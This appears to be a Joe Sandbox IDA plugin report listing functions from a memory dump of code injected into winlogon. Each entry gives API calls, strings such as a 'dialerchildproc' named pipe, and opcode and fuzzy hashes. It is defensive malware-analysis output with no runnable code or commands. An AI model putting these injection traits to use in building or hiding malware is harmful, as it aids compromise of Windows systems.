Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: b40527c8b914558b478dfab4642fda96873c4a3b82ba89e511e1485228043c09
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 32E18372604BC08AEB20DFA6D88839D77A8F755B98F900116EE8D57FA5CB38C991C700

Function 000002D0165EA974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D0165EA9D1

Part of subcall function 000002D0165EB844: __GetUnwindTryBlock.LIBCMT ref: 000002D0165EB887
Part of subcall function 000002D0165EB844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D0165EB8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D0165EAAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D0165EACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D0165EAE0A

Strings

csm, xrefs: 000002D0165EA9EB
csm, xrefs: 000002D0165EAA52
csm, xrefs: 000002D0165EAACC

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: 17b2e46a5adb7301b2a16f1b18d056b7e51783f2a98078d2ad4c8b0d1243037a
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: D5E18172604BC08AEF20DFB5D98839DB7A4F745B98F944516EE8D57BA9CB35CA80C700

Function 000002D0165EF7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002D0165EF940
GetProcAddress.KERNEL32 ref: 000002D0165EF94C

Strings

api-ms-, xrefs: 000002D0165EF88A
ext-ms-, xrefs: 000002D0165EF89D

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 0502c5113662f2a3a9a5d4d251263c5911824315a05688cff6cf68844e12e38b
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 2841F321315A8091FF16CFAAAC88755A395BB45BA0FC8412B9D4E877A4EF3ACE45C340

Function 000002D0165E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E10B1
RegEnumValueW.ADVAPI32 ref: 000002D0165E1117
GetProcessHeap.KERNEL32 ref: 000002D0165E115A
HeapAlloc.KERNEL32 ref: 000002D0165E1168
GetProcessHeap.KERNEL32 ref: 000002D0165E1185
HeapFree.KERNEL32 ref: 000002D0165E1193

Strings

d, xrefs: 000002D0165E10D6

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 57c1a81412e766fec711e6397f0191dcb9f2e6ca8c99996e7c9a6a9e6f97b5bd
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 2B416573614BC0C6EB64CFA1E84879EB7A1F388B99F448116DA8D07768DF39C945CB40

Function 000002D0165ED498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002D0165ECC0E,?,?,?,?,?,?,?,?,000002D0165ED3CD,?,?,00000001), ref: 000002D0165ED4B7
FlsSetValue.KERNEL32(?,?,?,000002D0165ECC0E,?,?,?,?,?,?,?,?,000002D0165ED3CD,?,?,00000001), ref: 000002D0165ED4D6
FlsSetValue.KERNEL32(?,?,?,000002D0165ECC0E,?,?,?,?,?,?,?,?,000002D0165ED3CD,?,?,00000001), ref: 000002D0165ED4FE
FlsSetValue.KERNEL32(?,?,?,000002D0165ECC0E,?,?,?,?,?,?,?,?,000002D0165ED3CD,?,?,00000001), ref: 000002D0165ED50F
FlsSetValue.KERNEL32(?,?,?,000002D0165ECC0E,?,?,?,?,?,?,?,?,000002D0165ED3CD,?,?,00000001), ref: 000002D0165ED520

Strings

Y%, xrefs: 000002D0165ED4D6
1%, xrefs: 000002D0165ED4FE

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: c9533fc29eaa90fd43d0fafe31dbb0b9db58d701bccea4bab299a4df71c1c529
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 491181227452C441FF5897E9ADCD339E2419B843B4FC4432BE83E0A6F6DE2ACE424600

Function 000002D0165E2334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002D0165E2349
GetCurrentProcessId.KERNEL32 ref: 000002D0165E2353
CreateFileW.KERNEL32 ref: 000002D0165E2384
WriteFile.KERNEL32 ref: 000002D0165E23AC
ReadFile.KERNEL32 ref: 000002D0165E23CB
CloseHandle.KERNEL32 ref: 000002D0165E23D4

Strings

\\.\pipe\dialerchildproc, xrefs: 000002D0165E2365

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: 486f21b42584047a8dbd0fd249b04f4d120b002e740eb6a919f711e2c29be054
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 3F115E32614B9083E710CB61F88875A7765F389BE5F904316EA5E02BA8CFBCC948CB04

Function 000002D0165E7940 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D0165E7968
__scrt_acquire_startup_lock.LIBCMT ref: 000002D0165E79BA
_RTC_Initialize.LIBCMT ref: 000002D0165E79E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D0165E7A0E
__scrt_release_startup_lock.LIBCMT ref: 000002D0165E7A39

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 91afba1748d56d779d5f9f2092c3f3038b410f7bb8feb96aa5ac84da837e85c9
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: A581B2217006C186FF54ABE59CC93B9E291AB85780FD4406BEA5D477B6EB3ACF45C700

Function 000002D0165EA1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002D0165EA3B3,?,?,?,000002D0165E9B9C,?,?,?,?,000002D0165E96BD), ref: 000002D0165EA279
GetLastError.KERNEL32(?,?,?,000002D0165EA3B3,?,?,?,000002D0165E9B9C,?,?,?,?,000002D0165E96BD), ref: 000002D0165EA287
LoadLibraryExW.KERNEL32(?,?,?,000002D0165EA3B3,?,?,?,000002D0165E9B9C,?,?,?,?,000002D0165E96BD), ref: 000002D0165EA2B1
FreeLibrary.KERNEL32(?,?,?,000002D0165EA3B3,?,?,?,000002D0165E9B9C,?,?,?,?,000002D0165E96BD), ref: 000002D0165EA2F7
GetProcAddress.KERNEL32(?,?,?,000002D0165EA3B3,?,?,?,000002D0165E9B9C,?,?,?,?,000002D0165E96BD), ref: 000002D0165EA303

Strings

api-ms-, xrefs: 000002D0165EA299

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 5592ec4faebcf409305b4b2890a21ef29463e234aef555377722e5be50b850f7
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 0931CA31312BD0D2EF129BE6AC88755A394B758B60FD90626DD1E173B1EF3ACA458310

Function 000002D0165F41E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002D0165F4215
GetLastError.KERNEL32 ref: 000002D0165F4221
CloseHandle.KERNEL32 ref: 000002D0165F4239
CreateFileW.KERNEL32 ref: 000002D0165F4264
WriteConsoleW.KERNEL32 ref: 000002D0165F4283

Strings

CONOUT$, xrefs: 000002D0165F4245

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: 1ab61b0cf0c9db4a56c2668a424dfc859a79e6a8f03fae7eefaa9eff8ed4efeb
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 8A118231310B9086E7508BE2FC88319B6A4F788FE5F94426AEA5E877B4DF79CD048744

Function 000002D0165E31CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002D0165E22ED), ref: 000002D0165E31EF
HeapAlloc.KERNEL32(?,?,?,?,?,000002D0165E22ED), ref: 000002D0165E3202
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002D0165E22ED), ref: 000002D0165E3277
GetProcessHeap.KERNEL32(?,?,?,?,?,000002D0165E22ED), ref: 000002D0165E32DD
HeapFree.KERNEL32(?,?,?,?,?,000002D0165E22ED), ref: 000002D0165E32EB

Strings

dialer, xrefs: 000002D0165E3270

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: 83f44d16bcc7c953f433701ed3b21392eed8fb092a97d38f6cb15fabea07f430
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: AB318422701B9182EF50DFE6ED88769A3A0FB64B80F8440269E8C47B76DF35DD658740

Function 000002D0165ED3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED3DF
FlsSetValue.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED415
FlsSetValue.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED442
FlsSetValue.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED453
FlsSetValue.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED464
SetLastError.KERNEL32(?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165ED47F

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: e7f75237d409834f9270787a9ddfca5b93ce218f773e8bdf0e17015f71c3d2ee
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 1C1181222452C041FF54A3F99DCD32DE2425B447F0F94432BA87E07AF6DE6ADE414200

Function 000002D0165E1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002D0165E195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002D0165E1978
PathFindFileNameW.SHLWAPI ref: 000002D0165E1987
lstrlenW.KERNEL32 ref: 000002D0165E1993
StrCpyW.SHLWAPI ref: 000002D0165E19A6
CloseHandle.KERNEL32 ref: 000002D0165E19B4

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: 4c731cbfdfe852defde7cbefce4d1ab1dca6f69176fd26bd62420e10787de74a
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 7D018021304B9082EB20DBA2EC9C75963A5F788FC1F984176DE8D83764DE3DC989C750

Function 000002D0165E3B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3B97
TerminateThread.KERNEL32(?,?,?,?,?,000002D0165E36B0), ref: 000002D0165E3BA6

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: db5adb49f1b7d242ecc1ff3c97efdbb4f761815ae82f0539aa4f5c8e4211eca5
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 40018C34611B9482EF219BA2EC8CB1A73A9BB48B41F94442ADD4D077B5EF3DCD488710

Function 000002D0165E9418 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D0165E9443
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165E94D8
RtlUnwindEx.NTDLL ref: 000002D0165E9527

Strings

csm, xrefs: 000002D0165E94BE
f, xrefs: 000002D0165E9456

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction ID: 261a320c93590906417959c0e00bb8db65f3674152eb288c157b2766e248c12c
Opcode Fuzzy Hash: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction Fuzzy Hash: BF51B0326116908AEF24CF65EC88B59B7A5F740B89F908127DE5E47798EB36DE41C700

Function 000002D016588835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D016588843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165888D8

Strings

csm, xrefs: 000002D0165888BE
f, xrefs: 000002D016588856
displacement map', xrefs: 000002D0165888D1

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: c171492b1571ac84152a0bc2ad70f6ed9fdebf7f741930861dea7dd95c6598aa
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: A951D3327126808BEB14CF96FC88B183799F340BD8F928122DA8E43BA8DB74CD41C701

Function 000002D016588818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D016588843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165888D8

Strings

csm, xrefs: 000002D0165888BE
f, xrefs: 000002D016588856
displacement map', xrefs: 000002D0165888D1

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 9283a21ec75857c9312e7aa528c38f2aa51bb37eda7f0ac0048f89cce66190ce
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: F6318B322016C0D6E714DF92FC88B1937A8F740BD8F968416AE9E07BA9CB38CD41CB04

Function 000002D0165E19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002D0165E19F8
StrCmpNIW.SHLWAPI ref: 000002D0165E1A12
lstrlenW.KERNEL32 ref: 000002D0165E1A21
StrCpyW.SHLWAPI ref: 000002D0165E1A36

Strings

\\?\, xrefs: 000002D0165E1A06

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
